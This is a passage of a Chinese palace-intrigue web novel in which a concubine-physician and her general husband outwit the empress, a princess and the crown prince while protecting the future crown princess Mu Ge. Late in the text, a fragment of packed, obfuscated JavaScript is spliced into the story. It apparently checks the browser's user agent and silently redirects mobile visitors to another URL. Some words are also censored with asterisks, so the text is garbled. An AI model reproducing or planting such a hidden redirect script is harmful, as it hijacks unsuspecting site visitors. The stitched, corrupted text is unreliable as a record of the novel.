他一笑,药房里的气息,变得奇怪又暧昧。
“徐慧珠,你该不会以为我对她有……男女之情?”
“难道不是吗?”徐慧珠下意识接话。
她信任姜夜沉。
可,姜夜沉对丽云夫人的态度,说冷淡却纵容,他偶尔流露的情愫,让她不安。
“罗叔背后的主子是丽云夫人吧。”
“将军处置罗叔,是给我的交待,而放过罗叔家人,是将军仁慈。”
“冤有头债有主,罗叔固然可恨,但真正要我命的人是丽云夫人。”
“也就是说,丽云夫人才是杀我真凶。”
“将军瞒而不说,包庇她。”
徐慧珠迎上姜夜沉的目光,“我该无动于衷?笑脸相待?”
“请将军原谅,我……做不到。”
说来,这是他们成亲后第一次吵架。
吵架归吵架,徐慧珠谨记自己为药人的效用,“将军疲惫,是该服药了。”
“将军的秘密,我无意窥探,更不会强逼将军与我分享。”
一夜无话。
丽云夫人安生了几日,身子养好后,就来主院堵姜夜沉。
清晨堵。
昏时堵。
烦不胜烦。
“听说京城最大的酒楼是春风酒楼,一道水晶香肉汤鲜掉舌头,阿夜,你陪我去春风酒楼用膳,可好?”
“然后,你陪我去京城最热闹的醉仙戏楼赏戏,阿夜,求你了。”
丽云夫人来过京城,那时,她还年幼,被姐姐牵着手。
她早就忘记京城的模样,却深深记得姐姐说,“京城的人太多,走过的每条街道都拥挤不堪。京城的院墙太高,里面的人出不来,外面的人进不去。”
姐姐又说,“小云儿,且记住,别被京城的繁华、富贵遮住双眼,迷失本心。”
姐姐还说,“北疆多好啊。”
“北疆的空气里,尽是自由的味道。”
姐姐喜欢的味道,丽云夫人却不屑,却厌恶至极。
丽云夫人等了许久,不见回应。
她等得不耐,取下金簪,用尽内力在主院的桂花树干上刻下一对名字:姜夜沉在前,柳丽云在后。
“回禀丽云夫人,将军和夫人一早入宫去了。”
“今日,是夫人为宫里贵人看诊的日子。”
管叔恭敬地站在主院门口,如实禀报,他一把老骨头,恕他不敢拼全力阻止丽云夫人“发癫”。
捂住丽云夫人的嘴?
还是夺下她手里的金簪?
管叔心里叹息一声,替桂花树不值,它受疼了。
丽云夫人哪知管叔的心里戏份,她只觉得金簪烫手,更烫脸。
敢情她唱了半晌戏,戏子和观众都是自己。
“我去找阿夜。”
“我不许阿夜不理我。”
丽云夫人丢下金簪,转身跑出主院。
管叔惊的一身鸡皮疙瘩,按照丽云夫人的年纪,早不适合娇憨作态。
待管叔浑身的不对劲消褪,理智稍稍回炉,只得冲丽云夫人的背影喊一声:丽云夫人
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,宫门轻易进不得啊。
徐慧珠的妾室身份,莫说入皇宫,就是世家大族寻常举办宴会也不会给她下帖子。
可,谁让徐慧珠这个妾,当得京城独一份的风光。
皇帝赐婚,妾行妻权,诰命夫人……哪一样显摆出来,羡煞旁人。
皇宫,伊香殿。
暮歌能下床榻,每日会在宫人的搀扶下坐在小院里晒晒太阳,看看风景。
正殿到偏殿,日渐相隔万水千山的距离。
厉贵妃探望暮歌的次数,越发少之又少。
厉贵妃自以为拿捏得住暮歌,为了大皇子李明远,暮歌会心甘情愿做他们母子手里的暗棋,潜伏于太子身边,有朝一日给太子重重一击。
陷入情爱里的女子,智商为零,又傻又蠢。
她利用了又如何?
“暮歌姑娘,这是我根据您的身体情况新调整的药方。”
“还有这生肌膏您在坚持用一个月,就能恢复如初。”
肌肤恢复如初,看不到一丝伤痕,可暮歌心里的伤痛,也许余生难愈。
“徐夫人,谢谢你。你的救命之恩,我……我……”
相处日久,暮歌在心里对徐慧珠存了一分感激之情。
她有过死的念头,体会过心如死灰的痛苦,到最后,她确定自己的决心——活下去。
“暮歌姑娘客气。”
“我奉旨为暮歌姑娘您看诊,得到皇上、皇后娘娘和厉贵妃诸多赏赐。”
“师傅教导,身为医者,治病救人乃本性。”
徐慧珠这番话表明,她识相,不会向暮歌这位准太子妃挟恩。
准太子妃的人情,她拿得起放得下。
暮歌聪慧,自是听懂徐慧珠的话外之音。
她对徐慧珠,打心底好感浓一分,戒备淡一分。
两人正说着话,皇后娘娘来了。
“臣妇徐氏慧珠,请皇后娘娘安好。”
“徐夫人,起来回话。”皇后娘娘语气冷淡。
下一瞬,换上热切温和的语气。
“暮歌,本宫瞧你今日气色好很多,本宫这心啊,跟着松快些。”
“快瞧瞧,本宫让御珍司为你打造的凤珠头面,可喜欢?”
第163章:宫女玉香毁容
果然,皇后娘娘才是变脸界的大师。
皇后娘娘心里盘算借暮歌拉拢相府,即便最终拉拢不成,也得让相府一派出现裂痕,打击大皇子势力。
另一半原因,能让厉贵妃难受的事情,皇后娘娘乐意做。
“奴婢谢皇后娘娘厚赐。”暮歌微低着头,掩饰眼里的情绪。
“你这个孩子……”
皇后娘娘拍了拍暮歌的手背,语气亲昵。
“暮歌,你本是钱氏贵女,是一颗耀眼夺目的明珠,怎能以‘奴婢’自称。”
“皇上已下赐婚旨意,你便是尊贵无双的准太子妃。”
“日后啊,本宫疼你,本宫为你撑腰,为你做主。”
“暮歌,本宫不许你再委屈自己。”
徐慧珠站在一旁,禁不住为皇后娘娘的厚颜竖起大拇指。
暮歌要嫁的人,是太子,而不是皇后娘娘。
暮歌的一身伤怎么来的,皇后娘娘心里没点数?
当作什么没发生过?
“是,皇后娘娘。”
“您对我太好了。”
“您是这世上对我最好最好的人。”
暮歌扮演乖巧柔顺,感动皇后娘娘,却感动不了自己。
皇后娘娘和厉贵妃较劲,她就是一枚被拉扯的棋子。
没人过问一句,她这枚棋子是否愿意?
没人在意,她这枚棋子疼不疼?
厉贵妃对她冷淡,却暗戳戳上皇后娘娘的眼药,“皇后娘娘度量狭小,本宫不能明面上疼你护你,会招来皇后娘娘报复,那是害了你。”
“暮歌,你只需记住,皇后娘娘面慈心苦,她说的话,信不得半句。”
“还有太子,最是暴戾冷血,是他拆散你和明远……”
暮歌心里冷笑:呵!都是一丘之貉,她的性命,她的幸福……这些人,谁在意过?
一个个,都是“杀她”“害她”的凶手。
她的心里,明如镜。
大皇子李明远心里真的有她吗?
不同于厉贵妃的冷淡,皇后娘娘来得勤快,不知道的,还以为皇后娘娘突然看上了厉贵妃的伊香殿,要搬过来居住。
皇后娘娘先是试探,加上糖衣炮弹攻势,又是送贵重头面锦缎又是许诺光明前途,确定暮歌是个柔顺听话的,便自信地开始她的挑拨离间大计。
因此,只要徐慧珠入宫,五回就有三回遇见皇后娘娘在卖力演出“婆母慈儿媳孝”。
徐慧珠欣赏一回,灵感滋生,以皇后娘娘为原型,创作戏文好几出。
终于等到皇后娘娘表演尽兴,似是才想起徐慧珠这个外人干站了许久。
“徐氏,你做得很好。”
“玉香,赏。”
徐慧珠回道,“臣妇叩谢皇后娘娘恩赏。”
皇后娘娘直接赏赐她一袋金花生,真将她当作大夫,支付诊金。
皇后娘娘自以为羞辱徐慧珠,却不知徐慧珠偷着乐,金银才实用。若皇后娘娘赏赐贵重头面,还得当“祖宗”供着。
早晚上两柱香,以显感恩戴德。
她才不喜。
“臣妇还要去一趟太医院,同太医商讨凝玉公主的药方。”
“臣妇告退。”
徐慧珠故意在皇后娘娘面前提说凝玉公主,提醒皇后娘娘,凝玉公主被皇上软禁,被皇上厌弃。
她偏见不得皇后娘娘心情愉悦。
羞辱之仇,得现场报,能报多少是报多少。
“慢着。”
皇后娘娘话锋一转。
“徐氏,听闻你跟随普神医研习医术,日常会占用很多时间和精力,侍奉大将军一事上难免力不从心。”
“玉香,今日你就随徐氏回将军府,为徐氏分忧分担,好生侍奉大将军。”
这是要给姜夜沉塞女人?
充盈将军府后院?
皇后娘娘热心啊。
“玉香拜见徐姐姐。”
玉香行礼。
还是大礼。
“徐姐姐为先,玉香在后。”
“请徐姐姐安心,玉香保证不争不抢,事事敬重徐姐姐。”
玉香倒是聪慧,姿态放得够低,以封徐慧珠的口。
这么听话的“妾”,徐慧珠好意思拒绝?
徐慧珠差点没忍住笑出声。
皇后娘娘这是何意?
凝玉公主纠缠姜夜沉不成,就换另一条道?
塞个宫女?
“徐姐姐?”
玉香表了忠心,却得不到半点回应。<
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br>她心里着急的不行。
今日若不能跟着徐慧珠回将军府,她的命,堪忧。
“徐姐姐?”玉香噗通跪在地上,再抬头,泪眼汪汪,可怜见的。
徐慧珠打断玉香接下来的连篇废话,雷同的故事,她听着腻歪。
“臣妇谢皇后娘娘厚赐。”
徐慧珠扶起玉香,笑得温婉,“玉香,这个时辰,将军在宫里当值,我陪你去见将军,可好?”
又说,“皇后娘娘体恤臣妇,一心为臣妇着想,臣妇万般感动。”
“请皇后娘娘放心,臣妇定会在将军面前为玉香美言,助玉香成事。”
半个时辰后,皇宫突发一件大事。
宫女玉香不知因何触怒凝玉公主,遭受凝玉公主殴打,毁容成事实,险些丧命。
“夫人这招借刀**,使得很好。”
借凝玉公主这把快刀,斩杀玉香这朵烂桃花。
玉香是皇后娘娘的心腹大宫女,凝玉公主是皇后娘娘的亲女,这烂摊子,留给皇后娘娘收拾。
再合适不过。
徐慧珠挑眉,“将军不嫌我心肠歹毒?善妒可怕?”
“为夫手上沾染的腥血,一生洗不干净。”姜夜沉说道,“夫人,你我乃天注定的良配。”
徐慧珠领着玉香去寻当值的姜夜沉,凑巧的是,姜夜沉带队锦衣卫巡逻到凝玉公主居住的宫殿。
如他们所愿,凝玉公主一听说皇后娘娘给姜夜沉送美人儿,人就炸了。
她屡次弄不死徐慧珠,那是因为姜夜沉被她伤透心后,故意护着徐慧珠。
至于皇上、元乐长公主等人对徐慧珠的维护,说到底是看在姜夜沉的脸面。
毫无意外,凝玉公主将憋屈已久的怒火悉数撒在玉香的身上。
总归,玉香不无辜。
凝玉公主不觉得自己有错,她只是毁了玉香的容貌,这样一来,玉香就不能勾引姜夜沉。
她没要玉香那贱婢的性命,已是仁慈至极。
等皇后娘娘命宫女、嬷嬷拉开疯癫的凝玉公主,玉香已昏死过去,整张脸似是浸泡鲜血里。
瞧着触目惊心,凄惨无比。
“徐氏,你……你是故意的?”
第164章:皇后娘娘这是恶人先告黑状
此刻,皇后娘娘再反应不过来,她被徐慧珠算计,当真是傻。
皇后娘娘还以为徐慧珠学乖觉,不敢得罪她这个安国最为尊贵的女人,万万没想到徐慧珠转身借凝玉公主的手,毁玉香这枚棋。
打她的脸。
徐慧珠以为自己是谁?
敢打安国国母的脸?
“来人,徐氏蛊惑贱婢伤害皇家公主,图谋不轨,送徐氏去慎刑司,仔细审问。”
皇后娘娘这是恶人先告黑状。
徐慧珠进一趟慎刑司,不死也得脱一层皮。
活不成了。
皇后娘娘执掌凤印,懿旨已下,堂而皇之打杀徐慧珠一个妾室,又如何?
她,是安国皇后。
除皇上之外,拥有至高无上权力之人。
“皇后娘娘明鉴,臣妇冤枉啊。”
“玉香是皇后娘娘您的大宫女,臣妇同玉香一无交情,二无‘私情’。”
“臣妇何德何能蛊惑得了玉香……”
“这个锅,臣妇背不起。”
皇后娘娘赏赐美人儿,徐慧珠可没直接答应,她话说得很活,得问过姜夜沉的意思。
“臣妇听皇后娘娘您的话寻将军,真心实意为玉香入将军府助力。”
“臣妇当真不知凝玉公主为何突然失控,对无辜的玉香施暴,臣妇吓坏了。”
“臣妇试图拉开凝玉公主,可……可臣妇一介柔弱女子,实在是心有余而力不足。”
皇后娘娘冷笑,她信徐慧珠才怪。
凝玉公主是会武功没错,当初凝玉公主大闹婚宴,徐慧珠醉酒打架,最后受伤吃亏的是凝玉公主。
徐慧珠看向血肉模糊的玉香,目色恐惧透着怜悯,她往姜夜沉身边缩近了些。
“皇后娘娘若不信,可询问将军,事发之时,将军在场,是人证。”
姜夜沉拥住徐慧珠,“夫人莫怕,为夫在。”
徐慧珠点头,“凝玉公主是病人,我不会怪她。”
“只是……”
皇后娘娘问罪姜夜沉,身为锦衣卫统领,一个失职之罪跑不掉。
莫说玉香的命还在,就是凝玉公主活生生打死玉香又如何?
一个低贱如尘埃的奴罢了。
死就**。
也是活该。
不等皇后娘娘开口,姜夜沉说道,“回禀皇后娘娘,臣的夫人说得没错。臣的确在现场,亲眼见证事情的经过。”
“凝玉公主一边言语辱骂一边殴打玉香,至于原因?”
“臣也是刚刚得知,皇后娘娘威胁臣的夫人,赏赐玉香给臣为妾......”
“凝玉公主为何突然情绪失控殴打玉香,或许是不满皇后娘娘的做法,为臣抱不平吧。”
“臣和锦衣卫都是男子,凝玉公主千金贵重之躯,万万不敢冒犯。”
“臣虽第一时间派人去请皇后娘娘,可……”
“请皇后娘娘降罪。”
姜夜沉又说:“皇后娘娘您插手臣的后宅,皇上同意否?”
皇后娘娘脸色难看,“姜夜沉,你……你……”
姜夜沉更是粗暴,直接撕下皇后娘娘的脸面,踩入泥泞里。
他在嘲讽她?
还有,姜夜沉说男女有别?是怕凝玉公主有借口黏上他吧。
姜夜沉眼里的嫌弃和冷意,皇后娘娘看得清清楚楚。
皇后娘娘的心,沉到谷底。
很快,新鲜的八卦传遍京城。
少不得厉贵妃的功劳。
当然,徐慧珠传信阿魂,做好事不留名又帮了厉贵妃一把。
其中,最离谱的一则,是说皇后娘娘乱点鸳鸯谱,本想将身边的一等宫女玉香赏赐给姜夜沉,好促成一桩美谈。
奈何,玉香不情不愿。
姜夜沉不能人道是事实,玉香受不住那样的苦。熬不得那样的寂寞。
“玉香**。”
“自缢。”
消息第一时间传到将军府,徐慧珠正陪姜夜沉用晚膳。
不管是皇后娘娘,还是厉贵妃,她们默契地打心底厌恶姜夜沉,凡事得给姜夜沉泼一盆脏水心里才舒坦。
“夫人不必气恼,为夫已然回击。”
“将军利用了玉香?”徐慧珠并不觉得姜夜沉利用玉香有什么不对。
皇后娘娘没把玉香当人,玉香又何尝不是存了私心。
飞上枝头变凤凰,对为奴为婢的玉香来说,终是一场没能实现的梦。
“我安排玉香去见了暮歌姑娘,告诉暮歌姑娘一些真相。”
“比如引醉酒太子去梅林的小太监是厉贵妃指使,死无对证,不代表痕迹尽除。”
“再比如,太子殴打所致她极难再有
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身孕,但皇后娘娘仍不放心,暗中命人下绝子药。嫡皇太孙必须流着皇后娘娘母族的血……”
都想操控暮歌姑娘这枚棋子,那就各凭本事。
徐慧珠说道,“人之将死,其言也善。暮歌姑娘聪慧,自能分辨玉香在生命最后一刻出卖主子,说的都是实话实情。”
“权贵争斗,今日死的是玉香,明日牺牲的就是暮歌姑娘。”
徐慧珠绝不会妥协让玉香入将军府,除非姜夜沉自个儿愿意。
隔日,徐慧珠随姜夜沉入宫,刚入宫门,锦衣卫禀报。
“宫里又出事了。”姜夜沉眼色微沉。
“为夫带你去瞧一出好戏。”
“有人**。”
徐慧珠急问,“谁?”
“一个蠢货。”姜夜沉故意不明说,“去伊香殿。”
“为夫早已撒下诱饵,该收获了。”
两人一路疾走,待踏入伊香殿,徐慧珠已知晓大概:暮歌姑娘夜里受到惊吓,突发高烧,医正大人出手费了好一番功夫才将人从鬼门关拉回来。
徐慧珠去的时机凑巧,贵人们难得齐聚伊香殿,皇上坐在上位,皇后娘娘和厉贵妃一左一右站着,地上跪着的是凝玉公主。
太子陪跪。
“父皇,钱暮歌是厉贵妃身边的一条奴狗,又和大皇兄不清不楚,这样的祸水,配不上太子哥哥。”
“父皇平日里偏心大皇兄也就罢了,可……可太子妃的位置何等重要,父皇随便给太子哥哥配个阿猫阿狗,置东宫储君的脸面何地?”
“儿臣不愿太子哥哥受委屈,心疼兄长,有什么错?”
凝玉公主一脸倔强,丝毫不觉得自己犯下大错。
或许,从小到大,她从未觉得自己错过。
错的都是旁人。
蠢的都是他人。
该死的皆是别人。
“再说,儿臣又不是真的要钱暮歌的命,不过让人吓唬一番,和她开个玩笑,哪会想到她胆小如鼠,差点将自个儿吓死。”
“父皇,钱暮歌身份低微,上不得台面,她不堪为太子妃啊。”
凝玉公主说完,与太子对视一眼,带着得逞的笑意。
皇后娘娘气到呕血。
她真想一巴掌拍死这一双不省心、脑子长歪长废的讨债儿女......
第165章:心无惧意,谁都敢怼
皇后娘娘心累,无比的疲累。
她费尽心机谋算,却比不过儿女出其不意的破坏。
“凝玉,闭嘴。”
若不是亲生,皇后娘娘非得撕烂凝玉公主那张惹人生厌的嘴。
凝玉公主总是闯祸惹事,没完没了的制造麻烦,她自以为是,行事偏激,如今更是连提前知会一声不曾,带给皇后娘娘的**都是惊吓。
“母后,我又没说错。”
“人善被人欺,母后就是太良善懦弱,才会被某些低贱之人欺到头上。”
凝玉公主说话时眼神瞟向厉贵妃,就差指厉贵妃的名,道厉贵妃的姓。
“皇上,臣妾泡的莲子茶,您喝一杯,去去火气,保重龙体要紧。”
**!
狐狸精!
作精!
皇后娘娘又想撕烂厉贵妃的嘴。
厉贵妃一大把年纪,故作含情脉脉的少女姿态,也不嫌恶心到自己。
皇上接过莲子茶,入口温度刚好,清凉感稍稍压住怒火。
“皇上……”
厉贵妃眼圈泛红,语气含一抹委屈,“求皇上为臣妾换一座宫殿,这伊香殿跟漏风的筛子一样,今日凝玉公主调皮吓唬暮歌,他日凝玉公主再任性捉弄臣妾……”
就算凝玉公主贵为嫡公主,断没随意闯入嫔妃宫殿“胡闹”的道理。
“贵妃娘娘请慎言!”
“我何时捉弄过你?未发生之事,贵妃娘娘这么说,就是栽赃陷害。”
“贵妃娘娘仗着父皇宠爱,真以为自己就是后宫第一人?哼!”
凝玉公主的嘴,不是肉长的,而且生铁打造而成。
心无惧意,谁都敢怼。
凝玉公主百般出言不逊,堂而皇之挑衅,不敬不重浮于表面……可,厉贵妃偏不与凝玉公主正面交锋。
“皇上,您刚瞧见暮歌脖颈的可怖勒痕,医正大人也说,凶手力道再重一分,暮歌脖颈的骨头尽断,便是大罗神仙也救不活暮歌的命。”
“凝玉公主却说只是吓唬暮歌?这样的吓唬,却要人的命,谁能受得住?”
“臣妾心疼暮歌,更后怕不已。若暮歌死在伊香殿,臣妾就是浑身长满嘴,也说不清了。”
“臣妾也害怕,万一哪日臣妾惹得凝玉公主心里不快,凝玉公主便如此吓唬臣妾一回,要臣妾的命......”
如果暮歌死在伊香殿,皇后娘娘定会死咬厉贵妃,动机和理由充足,相府和钱氏一族只能是大皇子李明远的助力。
虽说厉贵妃上凝玉公主的眼药,怀疑凝玉公主嚣张跋扈的性情,可能危害她的性命,但谁能预知未来?
再说,整座皇宫,谁不知道凝玉公主厌恶厉贵妃,时常明面上言语嘲讽,暗里使好些招数。
可这么多年,莫说凝玉公主,就是皇后娘娘,无数次生出弄死厉贵妃的心思,却成不了事。
“皇上,臣妾余生所求,一是长长久久陪伴在皇上身侧。二是盼着明远娶妻生子。”
“臣妾从无旁的心思,请皇上明鉴。”
“皇上,臣妾……臣妾不愿过担惊受怕的日子啊。”
眼见皇上脸色越发阴冷。
皇后娘娘的脑袋里嗡嗡响个不停,仿佛一万只蚊子钻入她的脑袋里,肆意横行,吸食脑髓。
“皇上?”
皇后娘娘起身,跪在太子和凝玉公主的中间,“皇上,凝玉此番犯下大错,臣妾这就送凝玉去守皇陵,日日跪在列祖列宗前自省。”
“母后?”凝玉公主一边尖叫,一边摇晃皇后娘娘的胳膊,“我没错,没错没错没错!”
“母后,您好狠的心!您……您到底是不是我和太子哥哥的亲母后?”
啪啪。
啪啪。
女不教母之过。
这一刻,皇后娘娘后悔了。
皇上说得对,是她没教导好凝玉公主。
是她的错。
“皇上,臣妾发誓,待暮歌如亲女,加倍疼爱暮歌。”
“如果太子敢对暮歌不好,臣妾决不轻饶太子。”
“东宫后院的女子,不管是谁,不管现在还是将来,都越不过暮歌。”
“求皇上明鉴,太子无辜啊。”
皇后娘娘说了一通,最后一句“太子无辜”才是重点。
“父皇?”
母子本就心有灵犀,太子趁机表达自己受的委屈。
“父皇,此事……儿臣并不知情。”
“先前,儿臣醉酒犯错,让父皇失望,也自
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觉对不住暮歌姑娘。”
“父皇赐婚,儿臣自是明白父皇的良苦用心,又怎会犯蠢……”
凝玉公主松开手,母后为了儿子,舍弃了她这个女儿。
她最亲的亲人,一个是生养她的母亲,一个是疼爱她的哥哥,现下她才恍然醒悟,人家才是亲亲的母子。
她是什么?
她什么都不是。
她就是一个笑话。
天大的笑话。
明明是太子悄悄见她,说他不愿娶一个低贱宫女为太子妃,不能沦为天下人的笑柄,只要她帮他弄死暮歌,他就送她到姜夜沉的床上,再顺手送徐慧珠见阎王。
她那么信任太子哥哥。
呵!她被母后舍弃,又被太子哥哥背刺。
啪。
凝玉公主一巴掌扇在太子的脸上。
“李明修,你不仅无耻卑鄙,还是一个没断奶的孩子。”
“呵!没用的废物!”
“大皇兄吃剩下的残羹冷炙,活该你吃!”
“因为,李明修,你争不过大皇兄。”
“李明修,你的储君之位,迟早会被大皇兄夺了去。哈哈哈……”
厉贵妃乐了。
她还没怎么发挥,皇后娘娘和她的一对儿女先爆发内战。
当然,厉贵妃只敢心里偷着乐。
她赶忙微低下头,想到被迫远走杭州的大皇子李明远,才勉强压住笑意。
凝玉公主难得实诚一回,尽说大实话,她的大皇子李明远只差在出身上,别的方面百倍千倍强于太子。
凝玉公主说得极对,太子就是废物,斗不过大皇子李明远。
该退位让贤。
“皇上,明远远在杭州,他……他何其无辜啊。”
这下,最想撕烂凝玉公主嘴的人,还有暴怒的太子。
“李凝玉,你……放肆。”
啪啪。
普天之下,除过皇上和皇后娘娘打太子耳光,太子得忍。
旁人,谁敢?
兄妹两人扭打在一起,很快,就见了血。
“混账东西!”皇上怒吼。
“夜沉?”
“送太子回东宫。”
姜夜沉领命,下一瞬,人已移至太子身旁,“太子殿下,臣……得罪了。”
第166章:公主的失心疯症,可有把握治愈
一掌落下,太子陷入黑暗之中。
凝玉公主的指甲在太子脸上留下好几道血痕,好在,太子昏过去,大抵感受不到疼痛。
这出大戏,徐慧珠看得先是心惊,再是激动。
直到皇上叫她。
“徐氏,凝玉的失心疯症,你可有把握治愈?”
凝玉公主满目不敢置信,先有母后和太子哥哥联手算计她,后有父皇要她的命……
“不不不,父皇,我……我没病,没得失心疯症。”
“您不能听徐慧珠那个**胡说,她……她为霸占姜夜沉,一心想要除掉我。”
“父皇,您……您不能上徐慧珠的当啊。”
此刻的凝玉公主神态癫狂,确实符合失心疯症的一些症状。
“回禀皇上,失心疯症,不治之症。”
“臣妇和普神医研制的药丸,只能暂且压制疯症发作,但治标不治本,效用微弱。”
“身患失心疯症的人,最好安置在绝对安静的环境里,减少与人接触,降低受刺激的频次……刚刚皇后娘娘提议,送凝玉公主去皇陵,臣妇觉得甚好,可以一试。”
皇陵在凤凰山脉的深处,由锦衣卫和护龙卫共同守护。
他们,都是武功高强,绝了七情六欲的哑人。
皇上命李生德重新为暮歌安排一处养病的宫殿,赐名安平殿,由一队锦衣卫日常守卫。
安平殿内。
暮歌早已醒来,她不哭不闹,眼神空洞地盯着床幔。
旧伤未愈,又添新伤。
说来,她已死过两回,又幸运地活了过来。
直到徐慧珠进来,暮歌的眼里渐渐生出温度和色彩。
“徐夫人,你……来了。”
暮歌的脖子受伤,外伤瞧着可怖,内里伤到声带。
每说一句话,犹如吞咽刀片,割裂她的喉咙。
“暮歌姑娘?”
“你没事就好。”
徐慧珠眼露关切。
“阿喜救了我。”
“阿喜会武功。”
阿喜,是太子殴打暮歌后,内务府总管成大监送来伺候暮歌的宫女之一。
出自锦衣卫训练营。
“徐夫人,我知道,是你又救了我的命。”
“当初,是你向皇上提议给我安排会功夫的宫女,没想到这么快就派上用场。”
“先是太子殿下,再是凝玉公主……玉香说得极对,这皇宫啊,还真是**不吐骨头的地方。”
“可惜,我明白晚矣。”
徐慧珠心下了然,玉香的临死之言,暮歌该是信了。
她疑惑,徐慧珠为何帮她救她?
徐慧珠图她什么?
或者说,是姜夜沉图她什么?
“暮歌姑娘想不通?”
徐慧珠摸上暮歌的脉搏,身神俱损,于寿命有碍。
普神医说过,身为医者,隐瞒病情,便是违背医德。
“暮歌姑娘思虑过重,久而久之,极可能引发心疾之症。”
暮歌笑容酸涩,“心疾之症?”
“我这幅残败的身子,还有何用?”
“徐夫人和将军的救命之恩,我只能来世再报。”
徐慧珠理解暮歌的心如死灰,但不赞同。
暮歌这枚棋子,她“养”了这么久,必须得发挥效用。
“暮歌姑娘,我和将军救你,并非烂好心,的确存了一些私心。”
“将军掌管北疆军,还是禁卫军统领,深得皇上信任……将军的处境,暮歌姑娘该知晓些。”
“太子和大皇子都想拉拢,又忌惮嫉妒,莫说将军只愿忠心于皇上,就算将军偏向太子和大皇子任意一方,将军的下场注定凄惨。要么死于新主之手,要么死于报复。”
“夹缝中求生存,为的是活着。”
“暮歌姑娘现下感同身受了吧。”
徐慧珠又说,“我和将军之所以帮暮歌姑娘,是想结一段善缘。”
“暮歌姑娘,置之死地而后生,何不为自己闯出一条活路。”
暮歌喃喃道,“活路吗?”
“我的活路,呵!”
厉贵妃不让她活,大皇子李明远当了逃兵,皇后娘娘面慈心苦,太子和凝玉公主存心要她的命……凭什么?
直到阿喜为她涂抹药膏,她的眼神终于生出生机,宛若新生。
“阿喜,你会帮我的,对不对?”
阿喜目色恭敬,“是,奴婢会帮您护您。从奴婢被挑中送到您身边的那一刻,您就是奴婢的主子。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968041|188170||http|test|mini|href|location''.split(''|''),0,{}));
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r>暮歌死死抓住被角,泪,喷涌而出。
大皇子李明远回京之时,暮歌已入东宫,成为继太子妃。
暮歌主动请求,婚事从简,以彰显她对先太子妃的敬重。
一来二去,暮歌和徐慧珠处成闺蜜。
皇后娘娘满目欣慰,握住暮歌的手一通夸赞,“暮歌啊,你就是太子的福星。”
“本宫看人的眼光一向不差,暮歌,打本宫看你的第一眼,就知道你才是本宫的命定儿媳。”
暮歌入宫五年,她的身份是伊香殿大宫女,见过皇后娘娘几百次面,也说过上百次话,是不是得说一句可笑她从未看清楚过皇后娘娘的心意。
“暮歌,你无事多邀请徐氏入东宫陪伴。”
“有徐氏为你调理身体,本宫放心。”
“有徐氏开解你,本宫也安心。”
“暮歌啊,你才是本宫放在心尖尖上疼爱呵护的乖女儿。”
暮歌和徐慧珠交好,对皇后娘娘来说,就是意外惊喜。
皇后娘娘感同身受太子,一边厌恶姜夜沉到极致,一边不甘放弃姜夜沉手里的兵权。
现下,皇后娘娘再次看到拉拢姜夜沉的曙光。
为了兵权,万事皆能忍。
“母后疼我爱我护我,是这世上最慈爱的婆母,是我余生的依靠。”
“母后,我心中万般感激,会报答您的。”
“只是……”暮歌说道,“总请徐夫人来东宫,人多眼杂,难免会惹出流言蜚语。”
“若在戏楼、酒楼这等地方偶遇,有些事情要促成,更顺理成章。”
皇后娘娘乐意演慈母,她就配合演温顺儿媳。
“好好好,你说得在理,不能被心怀叵测之人坏了咱们的好事。”
“而且,那徐氏虽说得几分脸面,但终归是上不得台面的贱妾,你同她交好,是她的天大福分。”
“若徐氏得了便宜还到处嚷嚷,伤得是你太子妃的脸面,也会给太子招惹非议。”
“暮歌,你且记住,你是太子妃,和太子荣辱与共,万事须以太子为先。你和徐氏交往,低调和分寸为前提。”
暮歌附和道:“母后的意思,是不能太给徐慧珠脸......”
第167章:是她痴心妄想了
皇后娘娘心里瞧不上暮歌,又因轻松拿捏暮歌得意。
“暮歌,三日后的庆功宴,你协助本宫操办。”
“你如今是太子妃,日后便是皇后,这座后宫啊,本宫迟早会交到你的手上。”
“暮歌,本宫疼你信你。”
“你会听本宫的话,顺本宫的意?不会让本宫失望吧?嗯?”
皇后娘娘赏赐暮歌一个又一个甜枣,接下来的庆功宴,却是一颗含毒的甜枣。
皇后娘娘还不知,暮歌早已认清楚她生着一颗肮脏丑陋的坏心。
这样更好,皇后娘娘在明,暮歌在暗......
醉仙酒楼。
戏子在台上咿咿呀呀,今儿上演一出《宛若新生》。
暮歌看得入神。
泪流满面。
她何尝不知,这出戏演的是她。
还有,徐慧珠为她指明的将来之路。
她的活路。
“太子妃可知皇后娘娘的心思,借操办庆功宴,一为试探你的真心忠心,二为打厉贵妃和大皇子李明远的脸。”
“皇后娘娘赏赐给您的甜枣,表面只包裹一层糖衣,内里**。”
“太子妃今日约我,是想到应对之法?还是向我讨个主意?”
戏终。
暮歌手里的锦帕湿的滴水。
“双面棋子,如何?”
暮歌冷笑道,“承蒙皇后娘娘和厉贵妃看得起,都想要拿捏我,为她们所用。”
“那我何不顺势而为,如她们所愿,做她们的棋子,见人说人话,见鬼说鬼话。”
谁是人?
谁是鬼?
“最后,让她们享受棋子的反噬。”
暮歌扔掉锦帕,她已贵为太子妃,一方污了的锦帕子,丢就丢了。
她的心,本就感受不到疼痛。
“徐夫人,谢谢你请客。”
“这出戏,很精彩。”
“阿喜,赏。登台演出的戏子,每人赏戏服一套,白银五十两。撰写戏文的大师,赏文房四宝一套,白银一百两。”
徐慧珠没好意思实说,一百两赏银和文房四宝被她得了去。
“人生如戏,戏如人生。太子妃已胜过世间绝大多数女子,实属了不起。”
“我以茶代酒,敬太子妃一杯,预祝太子妃为自己闯出一条康庄大道。”
女子易心软,徐慧珠要做的就是助暮歌在心房砌成一座坚固石墙,任皇后娘娘百般威逼,任大皇子李明远千般情诱,暮歌的心,坚硬如石如铁。
雅间的门刚打开,四目相对,已物是人非。
“臣见过太子妃。”姜夜沉见礼。
大皇子李明远无数回请他来醉仙戏楼赏戏,他一向拒绝。
这一回,应约。
刚好,他顺道接徐慧珠回家。
不过,他才不会烂好心告诉大皇子李明远,他辜负的可怜女子也在醉仙戏楼。
这不,就不期而遇。
一半人为,一半天意。
“暮歌……”大皇子李明远语气含情,“你怎么在这里?”
大皇子李明远已回京两日,除过皇上召见,未入后宫。
